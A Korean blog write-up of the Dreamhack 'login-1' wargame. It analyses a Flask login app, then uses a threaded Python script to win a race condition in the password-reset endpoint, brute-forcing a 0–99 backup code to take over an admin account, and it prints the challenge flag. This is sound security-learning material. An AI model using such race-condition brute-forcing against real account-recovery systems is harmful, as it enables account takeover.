[드림핵/워게임] login-1 - WriteUp

프롤로그

오랜만에 코드 분석할 겸 블로그 다시 작성

 

 

문제

https://dreamhack.io/wargame/challenges/47

login-1

 

 

 

코드 및 분석

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import sqlite3
import hashlib
import os
import time, random

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = "database.db"

userLevel = {
    0 : 'guest',
    1 : 'admin'
}
MAXRESETCOUNT = 5

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

def makeBackupcode():
    return random.randrange(100)

시크릿키는 os.urandom(32)로 랜덤으로 생성되었다. 그렇기에 저것은 알기 힘들 것이다.

DATABASE 는 database.db를 가져오고

 

userLevel 에서 0은 guest, 1은 admin이고

MAXRESETCOUNT 가 5로 설정되어있다.

 

BackupCode()가 0~99 중에서 숫자 하나가 리턴이 된다.

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

db 가져오는 get_db(),  db 연결 끊는 close_connection 

 

그리고 index.html을 보여주는 / 경로에 대한 index() 함수가 있다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
        
        if user:
            session['idx'] = user['idx']
            session['userid'] = user['id']
            session['name'] = user['name']
            session['level'] = userLevel[user['level']]
            return redirect(url_for('index'))

        return "<script>alert('Wrong id/pw');history.back(-1);</script>";

/login 경로로 가제 되면, GET요청이랑 POST 요청을 허용한다.

get요청이면 login.html로 넘어가게 되고

post요청이라면, 폼으로부터 userid, password를 받고

db에 연결한 다음에, 사용자의 입력값을 그대로 쿼리에 집어넣어서 user을 가져온다. 유저가 없다면 유저를못찾아서 alert를 띄우는 거고

만약에 찾았다면, session 설정을 해준다.

이때 비밀번호는 hash화 하여서 집어넣어서, 비밀번호를 알아내는 것도 실질적으로 힘들다.

근데 사용자의 입력값을 그대로 허용하기에 SQL Injection은 가능할 것으로 판단된다.

[해봤는데 안 되더라 ㅎㅎ]

 

그 다음

@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index'))

logout으로 넘어가면, 세션 전부 지워버리고 index로 넘어가는 /logout이 있다.

 

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")
        name = request.form.get("name")

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            return "<script>alert('Already Exists userid.');history.back(-1);</script>";

        backupCode = makeBackupcode()
        sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
        cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
        conn.commit()
        return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")

/register로 갔을 때, GET요청이면, register.html로 넘어간다.

만약에 POST요청이라면, 폼으로부터 userid, password, name을 입력받은 다음에, 

이미 유저가 데이터베이스에 저장이 되어있지 않은 상태라면, 백업코드 하나 만들어주고(0~99까지 랜덤한 수)

sql에다가 id, pw, name, level, backupcode를 넣어준다. 이때 level은 무조건 0을 집어넣는다.

그리고 백업 코드를 출력한다.

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";

/forgot_poassword, 비밀번호를 되찾는 코드이다.

GET요청이면 forgot.html으로 넘어가고, post요청이라면 폼으로부터 userid 새로운비밀번호, backupCode를 입력받는다.

 

 

id를 토대로, 유저가 존재하는지 확인하고, 무차별 대입공격을 막기 위해서 sleep(1) 을 진행한다.(1초 쉬기)

그 유저의 resetCount를 확인한다. 최대 비번 바꿀 수 있는 상황을 넘어갔다면, 비번을 바꿀 수 없다.

그리고 백업 코드랑 일치하는 희망지 보고, 일치한다면 새로운 백업코드 만든 후에, 데이터베이스에 집어넣어주고, 비밀번호도 데이터베이스에 집어넣어준다.

 

만약에 백업 코드가 일치하지 않는다면, 비밀번호 다시 확인하는지, 요청 횟수 +1을 올려준다.

즉 백업코드 0~99까지 무작위로 돌려보면서 하는 거 불가능하다는 얘기. 왜냐? 5번에서 컷나기 때문...

 

@app.route('/user/<int:useridx>')
def users(useridx):
    conn = get_db()
    cur = conn.cursor()
    user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
    
    if user:
        return render_template('user.html', user=user)

    return "<script>alert('User Not Found.');history.back(-1);</script>";

@app.route('/admin')
def admin():
    if session and (session['level'] == userLevel[1]):
        return FLAG

    return "Only Admin !"

/user/int:useridx로 가면

해당 유저의 대한 정보를 가져온다. 이거는 근데 뭐 fetch가 필요없다?

/admin에 들어가면 admin으로 접속하게 된다면 플래그를 얻을 수 있다.

 

 

 

풀이전략

일단, 비즈니스 로직 오류가 하나 보이지 않는가?

그냥 사용자의 정보를 리턴해주는 거

/user/1

이렇게 접속을 해보면

UserID 가 Apple인 애가 UserLevel1인 것을 확인할 수 있다.

저런식으로 쭉 계속 보면

5번에 가서 보면

Dog도 UserLevel1이다.

 

그리고 우리에게는 비밀번호를 바꿀 수 있는 /forgor_password 엔드포인트가 있다.

백업 코드가 문제라고?

MAXRESETCOUNT = 5

이거 RESETCOUNT 기억하는가?

        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

브루트 포스를 막는다고 1초간격으로 진행을 하는데, 

만약에 동시에 100개의 쓰레드에서 요청을 한다면?

count가 1 줄어들기 전에 요청을 보낼 경우에는?

 

경쟁 상태 조건 취약점이 존재한다.

 

그렇기에, requests 를 쓰레드를 이용해서 비밀번호 변경 요청을 backupCode 개수만큼 보내고 결과를 확인한다.

 

 

 

풀이과정

코드를 이렇게 작성한다.

import requests
from threading import Thread



def send(url, i):
    data = {"userid": "potato", "newpassword": "1234", "backupCode": i}
    print(data)
    res = requests.post(url, data=data);
    print(f"{i}")

    if "Password Change Success." in res.text:
        print(res.text)
        return
    else:
        print(res.text)
        
    

if __name__ == "__main__":
    url = "http://host1.dreamhack.games:23046/forgot_password"

    processes = []
    for i in range(100):
        thread = Thread(target=send, args=(url, i))
        thread.start()
        processes.append(thread)



    for process in processes:
        process.join()

야메로 작성하긴 했는데, 일단 thread를 보내서 결과를 확인한다. 저거를 실행시키니까

이렇게 Password Change Success.가 생겼다.

52번이었구나!

비밀번호가 바뀌었으니, 이제 로그인을 해볼까?

potato, 1234로 로그인 해보자.

로그인 하고 /admin으로 넘어가면 플래그가 나온다.

 

 

 

FLAG

플래그는

DH{4b308b526834909157a73567075c9ab7}

이다

 

 

 

에필로그

경쟁 조건이라는 것을 이해만 했다면 빠르게 풀수 있는 문제. 다만 생각하기가 어려움